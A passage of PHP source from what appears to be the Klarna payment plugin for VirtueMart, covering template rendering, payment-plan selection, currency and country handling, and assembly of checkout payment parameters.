		}
	}

	// public function setPaths() {
	// $this->aSetupSettings['path_css'] = $this->aSetupSettings['web_root'].VMKLARNAPLUGINWEBROOT. '/klarna/assets/css/';
	// $this->aSetupSettings['path_js'] = $this->aSetupSettings['web_root'] .VMKLARNAPLUGINWEBROOT. '/klarna/assets/js/';
	// $this->aSetupSettings['path_img'] = $this->aSetupSettings['web_root'] .VMKLARNAPLUGINWEBROOT. '/klarna/assets/images/';
	// }

	/**
	 * Add/Overwrite extra setup values.
	 *
	 * @param string $sName The name of the value
	 * @param string $sValue The value
	 * @return void
	 * @deprecated
	 */
	public function addSetupValue ($sName, $sValue) {
		$this->aSetupSettings[$sName] = $sValue;
	}

	/**
	 * Add multiple setup values at once
	 *
	 * @param array $aSetupValues The setup values as array. Key is name, value is value.
	 * @return void
	 *      * @deprecated
	 */
	public function addMultipleSetupValues ($aSetupValues) {
		foreach ($aSetupValues as $sName => $sValue) {
			$this->aSetupSettings[$sName] = $sValue;
		}
	}

	public function getSetupValues () {
		return $this->aSetupSettings;
	}

	/**
	 * Add/Overwrite input values.
	 *
	 * @param string $sName The name of the value
	 * @param string $sValue The value
	 * @return void
	 * @deprecated
	 */
	public function addInputValue ($sName, $sValue) {
		$this->aInputValue[$sName] = $sValue;
	}

	/**
	 * Add multiple input values at once
	 *
	 * @param array $aSetupValues The setup values as array. Key is name, value is value.
	 * @return void
	 */
	public function addMultipleInputValues ($aInputValues) {
		foreach ($aInputValues as $sName => $sValue) {
			$this->aInputValue[$sName] = $sValue;
		}
	}

	/*
	 * 	 * @deprecated
	 */
	public function getInputValues () {
		return $this->aInputValues;
	}

	/*
	* @deprecated
	 * */

	public function setInvoiceFee ($fee) {
		if ($this->sType != 'invoice') {
			throw new KlarnaApiException("Invoice fee only supported when payment type is invoice");
		}
		$this->aSetupSettings['fee'] = round (floatval ($fee), 1);
	}

	/**
	 * Retrieve the finished HTML
	 *
	 * @param array      $a_aParams         The input field names. Only submitted for those that should be different from default values
	 * @param string     $a_sHTMLFile     (Optional) The file to import. If not submitted, which HTML file will be decides by the class
	 * @return string
	 * @deprecated
	 */
	public function retrieveHTML ($a_aParams = NULL, $a_aValues = NULL, $a_sHTMLFile = NULL, $aTemplateData = NULL) {
		if ($a_aValues != NULL) {
			$this->aInputValues = array_merge (
				$this->aInputValues, $a_aValues);
		}

		if ($a_aParams != NULL) {
			$this->aInputParameters = array_merge (
				$this->aInputParameters, $a_aParams);
		}
// print_r($this->aInputValues);
		// Backwards compability
		// using input values for red baloon is DEPRECATED
		if (array_key_exists ('red_baloon_content', $this->aInputValues)) {
			$this->aSetupSettings['red_baloon_content'] = $this->aInputValues['red_baloon_content'];
		}

		if (array_key_exists ('red_baloon_paymentBox', $this->aInputValues)) {
			$this->aSetupSettings['red_baloon_paymentBox'] = $this->aInputValues['red_baloon_paymentBox'];
		}

		if (is_array ($this->aPClasses)) {
			foreach ($this->aPClasses as $pclass) {
				if ($pclass['default'] === TRUE) {
					$this->aInputValues['paymentPlan'] = $pclass['pclass']->getId ();
					break;
				}
			}
		}

		$sTemplate = $this->loadTemplate ($a_sHTMLFile, $aTemplateData);

		Klarna::printDebug (__METHOD__ . ' setup settings', $this->aSetupSettings);
		Klarna::printDebug (__METHOD__ . ' input values', $this->aInputValues);

		return $this->translateInputFields ($sTemplate);
	}

	/**
	 * @param null $a_sHTMLFile
	 * @param null $aTemplateData
	 * @return string
	 * @deprecated
	 */
	public function loadTemplate ($a_sHTMLFile = NULL, $aTemplateData = NULL) {
		$sFilename = '';

		/**
		 * @todo Check for file and trow error if missing
		 */
		if ($a_sHTMLFile != NULL) {
			$sFilename = $a_sHTMLFile;
		}
		else {
			if ($this->sType != "spec") {
				$sFilename = ($this->sPath != NULL ? $this->sPath : "") . "/klarna/tmpl/" . $this->sType . "_" . strtolower ($this->sCountryCode) . ".html";
			}
			else {
				$this->aSetupSettings['conditionsLink'] = $aTemplateData['conditions'];
				$sFilename = ($this->sPath != NULL ? $this->sPath : "") . '/klarna/tmpl/' . $this->sType . "_" . strtolower ($this->sCountryCode) . ".html";
			}
		}

		Klarna::printDebug (__METHOD__ . 'loading template', $sFilename);
		return file_get_contents ($sFilename);
	}

	/**
	 * Fetch the PClasses from file
	 *
	 * @param    integer    $iSum    The sum of the objects to be bought
	 * @param    integer    $iFlag    The KlarnaFlag to be used. Either Checkout or ProductPage flag.
	 * @return    void
	 */
	public function fetchPClasses ($iSum, $iFlag, $aTypes = NULL) {
		if ($this->oKlarna == NULL) {
			throw new KlarnaApiException("No klarna class is set.", "1000");
		}

		$aPClasses = array();
		$default = NULL;

		foreach ($this->oKlarna->getPClasses () as $pclass) {
			if ($aTypes == NULL || in_array ($pclass->getType (), $aTypes)) {
				$sType = $pclass->getType ();

				if ($sType != KlarnaPClass::SPECIAL) {
					if ($iSum < $pclass->getMinAmount ()) {
						continue;
					}

					if ($pclass->getType () == KlarnaPClass::FIXED) {
						if ($iFlag == KlarnaFlags::PRODUCT_PAGE) {
							continue;
						}
						$iMonthlyCost = -1;
					}
					else {
						$lowest_payment = KlarnaCalc::get_lowest_payment_for_account ($pclass->getCountry ());
						$iMonthlyCost = KlarnaCalc::calc_monthly_cost ($iSum, $pclass, $iFlag);
						if ($iMonthlyCost < 0.01) {
							continue;
						}

						if ($iFlag == KlarnaFlags::CHECKOUT_PAGE && $pclass->getType () == KlarnaPClass::ACCOUNT && $iMonthlyCost < $lowest_payment) {
							$iMonthlyCost = $lowest_payment;
						}

						if ($pclass->getType () == KlarnaPClass::CAMPAIGN && $iMonthlyCost < $lowest_payment) {
							continue;
						}
					}
				}
				else {
					$iMonthlyCost = -1;
				}

				if ($this->sType == 'part') {
					if ($sType == KlarnaPClass::ACCOUNT) {
						$default = $pclass;
					}
					else {
						if ($sType == KlarnaPClass::CAMPAIGN) {
							if ($default === NULL || $default->getType () != KlarnaPClass::ACCOUNT) {
								$default = $pclass;
							}
						}
						else {
							if ($sType == KlarnaPClass::FIXED) {
								if ($default === NULL) {
									$default = $pclass;
								}
							}
							else {
								continue;
							}
						}
					}
				}
				else {
					if ($this->sType == 'spec') {
						if ($sType != KlarnaPClass::SPECIAL) {
							continue;
						}
						$default = $pclass;
					}
				}

				$aPClasses[$pclass->getId ()]['pclass'] = $pclass;
				$aPClasses[$pclass->getId ()]['monthlyCost'] = $iMonthlyCost;
				$aPClasses[$pclass->getId ()]['default'] = FALSE;
			}
		}

		if ($default !== NULL) {
			$aPClasses[$default->getId ()]['default'] = TRUE;
		}

		$this->aPClasses = $aPClasses;
	}

	/**
	 * Checks whether the country code is accepted by the API
	 *
	 * @throws    KlarnaApiException
	 * @param    string    $sCountryCode    The country code ISO-2
	 * @return    boolean
	 */
	private function validateCountry ($sCountryCode) {
		if (in_array (strtolower ($sCountryCode), array("nl", "se", "de", "dk", "no", "fi"))) {
			$this->sCountryCode = strtolower ($sCountryCode);

			switch ($this->sCountryCode) {
				case "nl":
					$this->iKlarnaCountry = KlarnaCountry::NL;
					$this->iKlarnaCurrency = KlarnaCurrency::EUR;
					break;
				case "se":
					$this->iKlarnaCountry = KlarnaCountry::SE;
					$this->iKlarnaCurrency = KlarnaCurrency::SEK;
					break;
				case "de":
					$this->iKlarnaCountry = KlarnaCountry::DE;
					$this->iKlarnaCurrency = KlarnaCurrency::EUR;
					break;
				case "dk":
					$this->iKlarnaCountry = KlarnaCountry::DK;
					$this->iKlarnaCurrency = KlarnaCurrency::DKK;
					break;
				case "no":
					$this->iKlarnaCountry = KlarnaCountry::NO;
					$this->iKlarnaCurrency = KlarnaCurrency::NOK;
					break;
				case "fi":
					$this->iKlarnaCountry = KlarnaCountry::FI;
					$this->iKlarnaCurrency = KlarnaCurrency::EUR;
					break;
				default:
					break;
			}

			return TRUE;
		}
		else {
			throw new KlarnaApiException('Error in ' . __METHOD__ . ': Invalid country code submitted!');
		}
	}

	/**
	 * Checks whether the country code is accepted by the API
	 *
	 * @throws    KlarnaApiException
	 * @param    string    $sType    The type. Either "part", "spec" or "invoice"
	 * @return    boolean
	 */
	private function validateType ($sType) {
		if (in_array (strtolower ($sType), array("part", "invoice", "spec"))) {
			$this->sType = strtolower ($sType);
			return TRUE;
		}
		else {
			throw new KlarnaApiException('Error in ' . __METHOD__ . ': Invalid type submitted!');
		}
	}

	/**
	 * Sets the active country from a ISO country string
	 * or a KlarnaCountry constant
	 */
	public function setCountry ($country) {
		if (!is_numeric ($country)) {
			$country = KlarnaCountry::fromCode ($country);
		}
		else {
			$country = intval ($country);
		}

		if ($this->oKlarna == NULL) {
			throw new KlarnaApiException('Error in ' . __METHOD__ . ': Klarna instance not set');
		}
		$this->iKlarnaCountry = $country;
		$this->iKlarnaCurrency = $this->oKlarna->getCurrencyForCountry ($country);
		$this->sCountryCode = $this->oKlarna->getCountryCode ($country);
	}

	public function getCountry () {
		return $this->iKlarnaCountry;
	}

	/**
	 * Sets the active country from a ISO country string
	 * or a KlarnaLanguage constant
	 */
	public function setLanguage ($language) {
		if (!is_numeric ($language)) {
			$language = Klarna::getLanguageForCode ($language);
		}
		else {
			$language = intval ($language);
		}

		$this->iKlarnaLanguage = $language;
		if ($this->oKlarna == NULL) {
			throw new KlarnaApiException('Error in ' . __METHOD__ .
				': Klarna instance not set');
		}
		$this->sLangISO = $this->oKlarna->getLanguageCode ($language);
	}

	public function getLanguage () {
		return $this->iKlarnaLanguage;
	}

	/**
	 * Checks whether the country code is accepted by the API
	 *
	 * @throws    KlarnaApiException
	 * @param    string    $a_sLangISO    The language in ISO-2 format
	 * @return    boolean
	 * @deprecated
	 */
	private function validateLangISO ($a_sLangISO) {
		if (in_array (strtolower ($a_sLangISO), array("sv", "da", "en", "de", "nl", "nb", "fi"))) {
			$this->sLangISO = strtolower ($a_sLangISO);

			switch ($this->sLangISO) {
				case "sv":
					$this->iKlarnaLanguage = KlarnaLanguage::SV;
					break;
				case "da":
					$this->iKlarnaLanguage = KlarnaLanguage::DA;
					break;
				case "de":
					$this->iKlarnaLanguage = KlarnaLanguage::DE;
					break;
				case "nl":
					$this->iKlarnaLanguage = KlarnaLanguage::NL;
					break;
				case "nb":
					$this->iKlarnaLanguage = KlarnaLanguage::NB;
					break;
				case "fi":
					$this->iKlarnaLanguage = KlarnaLanguage::FI;
					break;
				default:
					break;
			}

			return TRUE;
		}
		else {
			throw new KlarnaApiException('Error in ' . __METHOD__ . ': Invalid language (' . $a_sLangISO . ') ISO submitted!');
		}
	}

	/**
	 * Translating the fetched HTML agains dynamic values set in this class
	 *
	 * @param    string    $sHtml    The HTML to translate
	 * @return    string
	 */
	private function translateInputFields ($sHtml) {
		$sHtml = preg_replace_callback ("@{{(.*?)}}@", array($this, 'changeText'), $sHtml);

		return $sHtml;
	}

	/**
	 * Changing the text from a HTML {{VALUE}} to the actual value decided by the array
	 *
	 * @param    array    $aText    The result from the match in function translateInputFields
	 * @return    mixed
	 * @deprecated
	 */
	private function changeText ($aText) {
		// Split them

		$aExplode = explode (".", $aText[1]);
		$sType = $aExplode[0];
		$sName = @$aExplode[1];

		if ($sType == "input") {
			if (array_key_exists ($sName, $this->aInputParameters)) {
				return $this->aInputParameters[$sName];
			}
			else {
				throw new KlarnaApiException('Error in ' . __METHOD__ . ': Invalid inputfield value (' . $sName . ') found in HTML code!');
			}
		}
		else {
			if ($sType == "lang") {
				return JText::_ ('VMPAYMENT_KLARNA_' . strtoupper ($sName)); //$this->fetchFromLanguagePack($sName);
			}
			else {
				if ($sType == "setup") {
					if ($sName == "pclasses") {
						return $this->renderPClasses ();
					}

					if ($sName == 'threatmetrix') {
						if (!array_key_exists ('threatmetrix', $this->aSetupSettings)) {
							$this->aSetupSettings['threatmetrix'] = $this->oKlarna->
								checkoutHTML ();
						}
						return @$this->aSetupSettings['threatmetrix'];
					}

					if ($sName == 'additional_information') {
						$key = @$this->aSetupSettings['additional_information'];
						$key = 'VMPAYMENT_KLARNA_' . strtoupper ($key);
						$lang = JFactory::getLanguage ();
						if ($lang->hasKey ($key)) {
							$frmt = @JText::_ ($key); //$this->fetchFromLanguagePack($key);
							return @$this->translateInputFields ($frmt);
						}
						else {
							return '';
						}
					}

					return @$this->aSetupSettings[$sName];
				}
				else {
					if ($sType == "value") {
						return (@$this->aInputValues[$sName]);
					}
					else {
						throw new KlarnaApiException('Error in ' . __METHOD__ . ': Invalid field name (' . $sType . ') found in HTML code!');

					}
				}
			}
		}
	}

	/**
	 * Redender the PClasses to HTML
	 *
	 * @deprecated
	 *
	 * @return string
	 */
	public function renderPClasses () {
		$sString = '';

		foreach ($this->aPClasses as $sPClassId => $aPClassData) {
			$value = $this->getPresentableValuta ($aPClassData['monthlyCost']);
			$pm = JText::_ ('VMPAYMENT_KLARNA_PER_MONTH');

			$sString .= '<li ' . ($aPClassData['default'] ? 'id="click"' : "") . '>
                <div>' . $aPClassData['pclass']->getDescription () .
				($aPClassData['monthlyCost'] > 0 ?
					" - $value $pm" : '') .
				($aPClassData['default'] ?
					'<img src="' . VMKLARNAPLUGINWEBASSETS . '/images/share/ok.gif" border="0" alt="Chosen" />' :
					'') .
				'</div>
                <span style="display: none">' . $sPClassId . '</span>
                </li>';
		}

		return $sString;
	}

	/**
	 * Redender the PClasses to HTML
	 *
	 * @return string
	 */
	public function getPClassesInfo () {
		$pClasses = array();
		$i = 0;
		foreach ($this->aPClasses as $sPClassId => $aPClassData) {
			$value = $this->getPresentableValuta ($aPClassData['monthlyCost']);
			$pm = JText::_ ('VMPAYMENT_KLARNA_PER_MONTH');
			$pClasses[$i]['class'] = $aPClassData['default'] ? 'id="click"' : "";
			$sString = $aPClassData['pclass']->getDescription () .
				($aPClassData['monthlyCost'] > 0 ?
					" - $value $pm" : '') .
				($aPClassData['default'] ?
					'<img src="' . VMKLARNAPLUGINWEBASSETS . '/images/share/ok.gif" border="0" alt="Chosen" />' :
					'');
			$pClasses[$i]['string'] = $sString;
			$pClasses[$i]['classId'] = $sPClassId;
			$i++;
		}

		return $pClasses;
	}

	/**
	 * Redender the PClasses to HTML
	 *
	 * @return string
	 */
	public function renderPClass ($pid) {
		$sString = "";

		foreach ($this->aPClasses as $sPClassId => $aPClassData) {
			if ($aPClassData['pclass']->getId () == $pid) {
				$value = $this->getPresentableValuta ($aPClassData['monthlyCost']);
				$pm = JText::_ ('VMPAYMENT_KLARNA_PER_MONTH');
				$sString .= $aPClassData['pclass']->getDescription () . ($aPClassData['monthlyCost'] > 0 ? " - $value $pm" : '');
				return $sString;
			}
		}

		return $sString;
	}

	/**
	 * Make the sum shown presentable
	 *
	 * @param    integer    $iSum    The sum to present
	 * @return    string
	 */
	/* private */
	function getPresentableValuta ($iSum) {
		$sBefore = "";
		$sAfter = "";

		switch (strtolower($this->sCountryCode)) {
			case 'se':
				$sAfter = " kr";
				break;
			case 'no':
				$sAfter = " NOK";
				break;
			case 'dk':
				$sAfter = " DKK";
				break;
			case 'fi';
				$sBefore = "EUR";
				break;
			case 'de';
			case 'nl';
				$sBefore = "&#8364;";
				break;
		}

		return $sBefore . $iSum . $sAfter;
	}

	public function setCurrency ($currency) {
		if (!is_numeric ($currency)) {
			$currency = KlarnaCurrency::fromCode ($currency);
		}
		else {
			$currency = intval ($currency);
		}
		switch ($currency) {
			case KlarnaCurrency::SEK:
			case KlarnaCurrency::NOK:
			case KlarnaCurrency::DKK:
				$this->addSetupValue ('currency_suffix', ' kr');
				$this->addSetupValue ('currency_prefix', '');
				break;
			case KlarnaCurrency::EUR:
				$this->addSetupValue ('currency_prefix', '&#8364;');
				$this->addSetupValue ('currency_suffix', '');
				break;
			default:
				$this->addSetupValue ('currency_suffix', '');
				$this->addSetupValue ('currency_prefix', '');
				break;
		}
	}

	/**
	 * Fetch data from the language pack
	 *
	 * @param    string    $sText    The text to fech
	 * @param null         $sISO
	 * @param null         $sPath
	 * @return    string
	 * @deprecated
	 */
	public function fetchFromLanguagePack ($sText, $sISO = NULL, $sPath = NULL) {
		if ($sISO == NULL) {
			if ($this != NULL && $this->sLangISO != NULL) {
				$sISO = strtolower ($this->sLangISO);
			}
			else {
				$sISO = KlarnaAPI::getISOCode ();
			}
		}
		else {
			$sISO = KlarnaAPI::getISOCode ($sISO);
		}

		if ($this->sPath != NULL) {
			$sPath = $this->sPath;
		}

		if ($this->languagePack == NULL) {
			$this->languagePack = new KlarnaLanguagePack(JPATH_VMKLARNAPLUGIN . '/klarna/language/klarna_language.xml');
		}

		return $this->languagePack->fetch ($sText, $sISO);
	}

	/**
	 * Returns the country code for the set country constant.
	 *
	 * @return string
	 */
	public function getISOCode ($sCode = NULL) {
		switch (strtolower ($sCode)) {
			case "se":
			case "sv":
				return "sv";
			case "no":
			case "nb":
				return "nb";
			case "dk":
			case "da":
				return "da";
			case "fi":
				return "fi";
			case "de":
				return "de";
			case "nl":
				return "nl";
			case "us":
			case "uk":
			case "en":
			default:
				return "en";
		}
	}

	public function displayError ($message, $field = NULL) {
		// Append message
		if (array_key_exists ('red_baloon_content', $this->aSetupSettings)) {
			$this->aSetupSettings['red_baloon_content'] =
				$this->aSetupSettings['red_baloon_content'] .
					'<br/>' . $message;
		}
		else {
			$this->aSetupSettings['red_baloon_content'] = $message;
		}

		// fall back to logo on multiple messages
		if (array_key_exists ('red_baloon_paymentBox', $this->aSetupSettings)) {
			$this->aSetupSettings['red_baloon_paymentBox'] = '';
		}
		else {
			$this->aSetupSettings['red_baloon_paymentBox'] = $field;
		}
	}

	/**
	 *
	 * @param <type> $address
	 * @return <type>
	 */
	public static function splitAddress ($address) {
		$numbers = array('0', '1', '2', '3', '4', '5', '6', '7', '8', '9');
		$characters = array(
			'-', '/', ' ', '#', '.', 'a', 'b', 'c', 'd', 'e',
			'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p',
			'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', 'A',
			'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L',
			'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W',
			'X', 'Y', 'Z');
		$specialchars = array('-', '/', ' ', '#', '.');

		//Where do the numbers start? Allow for leading numbers
		$numpos = self::strpos_arr ($address, $numbers, 2);
		//Get the streetname by splitting off the from the start of the numbers
		$streetname = substr ($address, 0, $numpos);
		//Strip off spaces at the end
		$streetname = trim ($streetname);

		//Get the housenumber+extension
		$numberpart = substr ($address, $numpos);
		//and strip off spaces
		$numberpart = trim ($numberpart);

		//Get the start position of the extension
		$extpos = self::strpos_arr ($numberpart, $characters, 0);

		//See if there is one, if so
		if ($extpos != '') {
			//get the housenumber
			$housenumber = substr ($numberpart, 0, $extpos);
			// and the extension
			$houseextension = substr ($numberpart, $extpos);
			// and strip special characters from it
			$houseextension = str_replace ($specialchars, '', $houseextension);
		}
		else {
			//Otherwise, we already have the housenumber
			$housenumber = $numberpart;
		}

		return array($streetname, $housenumber, $houseextension);
	}

	/**
	 *
	 * @param <type> $haystack
	 * @param <type> $needle
	 * @param <type> $where
	 * @return <type>
	 */
	private static function strpos_arr ($haystack, $needle, $where) {

		$defpos = 10000;
		if (!is_array ($needle)) {
			$needle = array($needle);
		}
		foreach ($needle as $what) {
			if (($pos = strpos ($haystack, $what, $where)) !== FALSE) {
				if ($pos < $defpos) {
					$defpos = $pos;
				}
			}
		}
		return $defpos;
	}

	public function setAddress (KlarnaAddr $addr) {
		if (!$addr instanceof KlarnaAddr) {
			throw new KlarnaApiException(__METHOD__ . ': must be passed a KlarnaAddr');
		}

		$reference = @($addr->getFirstName () . ' ' . $addr->getLastName ());

		$cellno = $addr->getCellno ();
		$telno = $addr->getTelno ();
		$phone = (strlen ($cellno) > 0) ? $cellno : $telno;

		$values = &$this->aInputValues;
		$values['firstName'] = $addr->getFirstName ();
		$values['lastName'] = $addr->getLastName ();
		$values['phoneNumber'] = $phone;
		$values['zipcode'] = $addr->getZipCode ();
		$values['city'] = $addr->getCity ();
		$values['street'] = $addr->getStreet ();
		$values['homenumber'] = $addr->getHouseNumber ();
		$values['house_extension'] = $addr->getHouseExt ();
		$values['reference'] = $reference;
	}

	/**
	 * Given a ISO 8601 date string (YYYY-MM-DD) sets birth_year, birth_month
	 * and birth_day
	 */
	public function setBirthday ($dob) {
		$splitbday = explode ('-', $dob);
		$values['birth_year'] = @$splitbday[0];
		$values['birth_month'] = @$splitbday[1];
		$values['birth_day'] = @$splitbday[2];
	}

}

/**
 * KlarnaApiException class, only used so it says "KlarnaApiException" instead of Exception.
 *
 * @package       Klarna Standard Kassa API
 * @author         Paul Peelen
 * @version     1.0
 * @since         1.0 - 14 mar 2011
 * @link        http://integration.klarna.com/
 * @copyright    Copyright (c) 2011 Klarna AB (http://klarna.com)
 */
class KlarnaApiException extends Exception {

	public function __construct ($sMessage, $code = 0) {
		parent::__construct ($sMessage, $code);
	}

	public function __toString () {
		return __CLASS__ . ":<p><font style='font-family: Arial, Verdana; font-size: 11px'>[Error: {$this->code}]: {$this->message}</font></p>\n";
	}

}
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defined ('_JEXEC') or die('Restricted access');

/**
 * @version $Id: klarna_payments.php 6398 2012-09-06 09:27:08Z alatak $
 *
 * @author Valérie Isaksen
 * @package VirtueMart
 * @copyright Copyright (C) 2012 iStraxx - All rights reserved.
 * @license http://www.gnu.org/copyleft/gpl.html GNU/GPL, see LICENSE.php
 * VirtueMart is free software. This version may have been modified pursuant
 * to the GNU General Public License, and as distributed it includes or
 * is derivative of works licensed under the GNU General Public License or
 * other free or open source software licenses.
 */
class klarna_payments {

	// Estore ID
	/**
	 * @var
	 */
	private $eid;
	// Estore Shared Secret
	private $secret;
	// LIVE or BETA
	private $mode;
	// SSL or not
	private $ssl;
	// Klarna API instance
	private $klarna;
	// Klarna Checkout instance
	private $kCheckout;
	// Country
	private $country;
	private $country_code_3;
	//lang
	private $lang;
	// Currency
	private $currency;
	private $virtuemart_currency_id;
	// Web Root directory
	private $web_root;
	// Title
	private $title;

	private $code;
	// Enabled modules
	private $enabled;
	// User information from Virtuemart & Joomla
	private $shipTo;
	// Variables for the the html page.
	private $klarna_addr;
	private $klarna_first_name;
	private $klarna_last_name;
	private $klarna_gender;
	private $klarna_street;
	private $klarna_houseNr;
	private $klarna_houseExt;
	private $klarna_phone;
	private $klarna_email;
	private $klarna_reference;
	private $payment_charge_link;
	private $klarna_year_salary;
	private $splitAddress;
	private $klarna_bday;

	/**
	 * @param $cData
	 * @param $shipTo
	 */
	function __construct ($cData, $shipTo) {

		$this->shipTo = $shipTo;

		$this->country = $cData['country_code'];
		$this->country_code_3 = $cData['country_code_3'];
		$this->currency = $cData['currency_code'];
		$this->virtuemart_currency_id = $cData['virtuemart_currency_id'];
		//$this->currency = $vendor_currency;
		// Get EID and Secret
		$this->eid = $cData['eid'];
		$this->secret = $cData['secret'];
		$this->lang = $cData['language_code'];
		// Is Invoice enabled?
		$this->enabled = TRUE;
		// Set modes
		$this->mode = $cData['mode'];
		$this->ssl = KlarnaHandler::getKlarnaSSL ($this->mode);

		$this->web_root = JURI::base ();
		try {
			$this->klarna = new Klarna_virtuemart();
			$this->klarna->config ($this->eid, $this->secret, $this->country, $this->lang, $this->currency, $this->mode, VMKLARNA_PC_TYPE, KlarnaHandler::getKlarna_pc_type (), $this->ssl);
		}
		catch (Exception $e) {
			VmError ('klarna_payments', $e);
			unset($this->klarna);
		}
	}


	/**
	 * Attempt to fill in some of what we've already filled in if we
	 * come back after failing a purchase.
	 */
	private function setPreviouslyFilledIn ($klarna_data) {

		if (($this->country == "nl" ) && isset($klarna_data['pno'])) {
			$pno = $klarna_data['pno'];
			$this->klarna_bday['year'] = substr ($pno, 4, 4);
			$this->klarna_bday['month'] = substr ($pno, 2, 2);
			$this->klarna_bday['day'] = substr ($pno, 0, 2);
		}
		elseif ( $this->country == "de") {
			$pno = $klarna_data['pno'];
			$this->klarna_bday['year'] =  $klarna_data['birth_year'];
			$this->klarna_bday['month'] =  $klarna_data['birth_month'];
			$this->klarna_bday['day'] =  $klarna_data['birth_day'];
		} else {
			$this->socialNumber=$klarna_data['socialNumber'];
		}
		$this->klarna_street = ((isset($klarna_data['street']) &&
			!isset($this->klarna_street)) ? $klarna_data['street'] :
			$this->klarna_street);
		$this->klarna_houseNr = ((isset($klarna_data['house_no']) &&
			!isset($this->klarna_houseNr)) ? $klarna_data['house_no'] :
			$this->klarna_houseNr);
		$this->klarna_houseExt = ((isset($klarna_data['house_ext']) &&
			!isset($this->klarna_houseExt)) ? $klarna_data['house_ext'] :
			$this->klarna_houseExt);
		$this->klarna_gender = ((isset($klarna_data['gender']) &&
			!isset($this->klarna_gender)) ? $klarna_data['gender'] :
			$this->klarna_gender);
		$this->klarna_year_salary = ((isset($klarna_data['year_salary']) && !isset($this->klarna_year_salary)) ? $klarna_data['year_salary'] : $this->klarna_year_salary);
	}

	/**
	 * Build the Payment params
	 */
	public function get_payment_params ($method, $payment_type, $cart = NULL, $country_currency_code = '', $vendor_currency='') {

		if (!class_exists ('CurrencyDisplay')) {
			require(JPATH_VM_ADMINISTRATOR . DS . 'helpers' . DS . 'currencydisplay.php');
		}
		if (!class_exists ('KlarnaAPI')) {
			require (JPATH_VMKLARNAPLUGIN . DS . 'klarna' . DS . 'helpers' . DS . 'klarnaapi.php');
		}
		$payment_params = array();
		$invoice_fee = 0;
		if (!isset($this->klarna) || !($this->klarna instanceof Klarna_virtuemart)) {
			return NULL;
		}
		$payment_params['payment_currency_info'] = "";
		if ($cart->pricesCurrency != $this->virtuemart_currency_id) {
			$payment_params['payment_currency_info'] = JText::_ ('VMPAYMENT_KLARNA_PAYMENT_CURRENCY_INFO');
		}
		if ($payment_type == 'invoice') {
			KlarnaHandler::getInvoiceFeeInclTax ($method, $this->country_code_3, $cart->pricesCurrency, $this->virtuemart_currency_id, $display_invoice_fee, $invoice_fee);
			$billTotalInCountryCurrency = 0;
			$aTypes = NULL;
			$payment_params['pClasses'] = NULL;
		} else {
			$display_fee = 0;

			$billTotalInCountryCurrency = 0;
			if (isset($cart->pricesUnformatted['billTotal'])) {
				$billTotalInCountryCurrency = KlarnaHandler::convertPrice ($cart->pricesUnformatted['billTotal'], $vendor_currency, $country_currency_code, $cart->pricesCurrency);
			}
			if ($billTotalInCountryCurrency <= 0) {
				return NULL;
			}

			//$aTypes = array(KlarnaPClass::ACCOUNT, KlarnaPClass::CAMPAIGN, KlarnaPClass::FIXED);
			$aTypes = array(KlarnaPClass::ACCOUNT, KlarnaPClass::CAMPAIGN);

		}
		$payment_params['sType'] = $payment_type;
		$kCheckout = new KlarnaAPI($this->country, $this->lang, $payment_type, $billTotalInCountryCurrency, KlarnaFlags::CHECKOUT_PAGE, $this->klarna, $aTypes, JPATH_VMKLARNAPLUGIN);

		if ($payment_type == 'invoice') {
			if ($invoice_fee) {
				$payment_params['module'] = JText::sprintf ('VMPAYMENT_KLARNA_INVOICE_TITLE', $display_invoice_fee);

			} else {
				$payment_params['module'] = JText::_ ('VMPAYMENT_KLARNA_INVOICE_TITLE_NO_PRICE');
			}
			$payment_params['pClasses'] = NULL;
			$payment_params['id'] = 'klarna_invoice';
		} elseif ($payment_type == 'part') {
			KlarnaHandler::getCheapestPclass ($kCheckout, $cheapest, $minimum);

			if ($billTotalInCountryCurrency < $minimum) {
				return NULL;
			}
			if (!class_exists ('VirtueMartModelCurrency')) {
				require(JPATH_VM_ADMINISTRATOR . DS . 'models' . DS . 'currency.php');
			}
			// Cheapest is in the Klarna country currency, convert it to the current currency display
			//$currencyDisplay = CurrencyDisplay::getInstance( );
			//$countryCurrencyId = $this->virtuemart_currency_id;
			//$sFee = $currencyDisplay->priceDisplay($cheapest, 0, 1,false);

			$sFee = $kCheckout->getPresentableValuta ($cheapest);
			$payment_params['module'] = JText::sprintf ('VMPAYMENT_KLARNA_PARTPAY_TITLE', $sFee);
			$payment_params['pClasses'] = $kCheckout->getPClassesInfo ();
			$payment_params['id'] = 'klarna_partPayment';
		}
		else {
			$pclasses = $kCheckout->aPClasses;
			if (empty($pclasses)) {
				return NULL;
			}
			$payment_params['module'] = JText::_ ('VMPAYMENT_KLARNA_SPEC_TITLE');
			$payment_params['pClasses'] = $kCheckout->getPClassesInfo ();
			$payment_params['id'] = 'klarna_SpecCamp';
		}
		$payment_params['payment_link'] = "https://online.klarna.com/villkor.yaws?eid=" . $this->eid . "&charge=" . $invoice_fee;

		if (strtolower ($this->country) == 'de') {
			$vendor_id = 1;
			$payment_params['agb_link'] = JRoute::_ ('index.php?option=com_virtuemart&view=vendor&layout=tos&virtuemart_vendor_id=' . $vendor_id);
		}

		//$lang = KlarnaHandler::getLanguageForCountry($method, $this->country);
		$symbol = KlarnaHandler::getCurrencySymbolForCountry ($method, $this->country);

		if (KlarnaHandler::getKlarnaError ($klarnaError, $klarnaOption)) {
			if ($klarnaOption == 'klarna_' . $payment_type) {
				$payment_params['red_baloon_content'] = $klarnaError;
				$payment_params['red_baloon_paymentBox'] = 'klarna_box_' . $klarnaOption;
				//KlarnaHandler::clearKlarnaError ();
			}
		}

		// Something went wrong, refill what we can.
		$session = JFactory::getSession ();
		$sessionKlarna = $session->get ('Klarna', 0, 'vm');

		if (!empty($sessionKlarna)) {
			$sessionKlarnaData = unserialize ($sessionKlarna);
			if (isset($sessionKlarnaData->KLARNA_DATA)) {
				$klarnaData = $sessionKlarnaData->KLARNA_DATA;
				$this->setPreviouslyFilledIn ($klarnaData);
			}
		}

		$payment_params['paymentPlan'] = '';

		if (is_array ($kCheckout->aPClasses)) {
			foreach ($kCheckout->aPClasses as $pclass) {
				if ($pclass['default'] === TRUE) {
					$payment_params['paymentPlan'] = $pclass['pclass']->getId ();
					break;
				}
			}
		}

		if ($payment_type != "spec") {
			//$payment_params['conditionsLink'] = $aTemplateData['conditions'];
